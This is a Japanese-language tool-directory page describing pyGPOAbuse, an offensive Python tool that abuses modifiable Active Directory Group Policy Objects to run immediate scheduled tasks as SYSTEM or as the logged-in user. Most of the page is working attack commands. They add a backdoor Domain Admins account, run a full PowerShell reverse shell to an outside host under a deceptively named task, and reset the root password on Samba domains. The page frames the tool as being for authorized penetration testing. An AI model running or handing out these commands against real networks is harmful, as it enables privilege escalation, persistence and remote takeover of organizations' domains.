Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pyGPOAbuse — SharpGPOAbuseの部分的なPython実装 | Kitploit
ツール/GitHubGitHub/hackndo/pygpoabuse
特権昇格エクスプロイト横移動ポストエクスプロイトペネトレーションテスト
GitHubhackndo/pygpoabuse

pyGPOAbuse

SharpGPOAbuseの部分的なPython実装

リポジトリを見る
5857112ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

pyGPOAbuse

D4RKMATT3Rによるフィルター追加機能

  • 免責事項: これはローカルのAD環境で簡単にテストされたのみで、予期しない動作や誤動作については一切責任を負いません。現状のままで提供され、許可されたテストのみを対象とし、すべて自己責任で使用してください。
  • SharpGPOAbuseと同様のユーザーまたはホストのフィルタリング対象指定をサポート
  • シナリオ: GPOがActive-Directoryドメインにリンクされている場合、タスクはそのドメイン内のすべての影響を受けるオブジェクト(ユーザー/ホスト)に適用され、不要なノイズやアーティファクトを大量に残すことになります。そのため、ドメインコントローラーなどの特定のターゲットに対してコマンドを実行する、よりターゲットを絞ったアプローチが推奨されます。
root@kitploit:~
Host/User targeting via filters (mirrors SharpGPOAbuse --FilterEnabled):
  -filter-enabled       Enable GPO Host/User targeting so the scheduled task only runs for a specific host/user
  -target-dns-name FQDN
                        Computer task: DNS/FQDN of the only host that should run the task (e.g. dc01.corp.local)
  -target-username DOMAIN\USER
                        User task: only this user processes the task (format: DOMAIN\username)
  -target-user-sid SID  User task: SID of the targeted user (optional, more robust matching)

例

root@kitploit:~
# Add Domain user and add to Domain Admins via Domain-Controller
python3 pygpoabuse.py red.local/user:Testing123 -gpo-id D9A65E7F-112D-49B9-AF7A-4FC2BA092BF6 -taskname SecurityUpdate  -dc-ip 192.168.152.2 -command 'net user UserGPO P@ssw0rd /add && net group "Domain Admins" UserGPO /add' -filter-enabled -target-dns-name dc01.red.local

説明

PythonによるSharpGPOAbuseの部分的な実装。@pkb1sによる

このツールは、制御されたアカウントが1人以上のユーザーやコンピュータに適用される既存のGPOを変更できる場合に使用できます。コンピュータGPOの場合はリモートコンピュータ上でSYSTEMとして、ユーザーGPOの場合はログインユーザーとして即時スケジュールタスクを作成します。

デフォルトの動作ではローカル管理者を追加します。

Example

使い方

基本的な使い方

johnユーザーをローカル管理者グループに追加(パスワード: H4x00r123..)

root@kitploit:~
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"

高度な使い方

リバースシェルの例

root@kitploit:~
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ 
    -powershell \ 
    -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \ 
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \ 
    -user

クリーンアップ

実行後にスケジュールタスクを削除します。

root@kitploit:~
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" --cleanup

Samba ADでの使用方法

このツールはSamba ADドメインでも使用できます。コンピュータGPOの場合、リモートコンピュータ上でrootとして即時ジョブを作成します。

まず、BashスクリプトまたはELFファイルを作成します。

root@kitploit:~
#!/bin/bash
echo "root:1234" | chpasswd

その後、--linux-exec引数を指定してツールを実行します。

root@kitploit:~
./pygpoabuse.py DOMAIN/user:password -gpo-id "12345677-ABCD-9876-ABCD-123456789012" --linux-exec /path/to/executable

Example

クレジット

  • @pkb1s氏によるSharpGPOAbuse
  • @airman604氏によるschtask_now.py
  • @SkelSec氏によるmsldap
ツールをダウンロード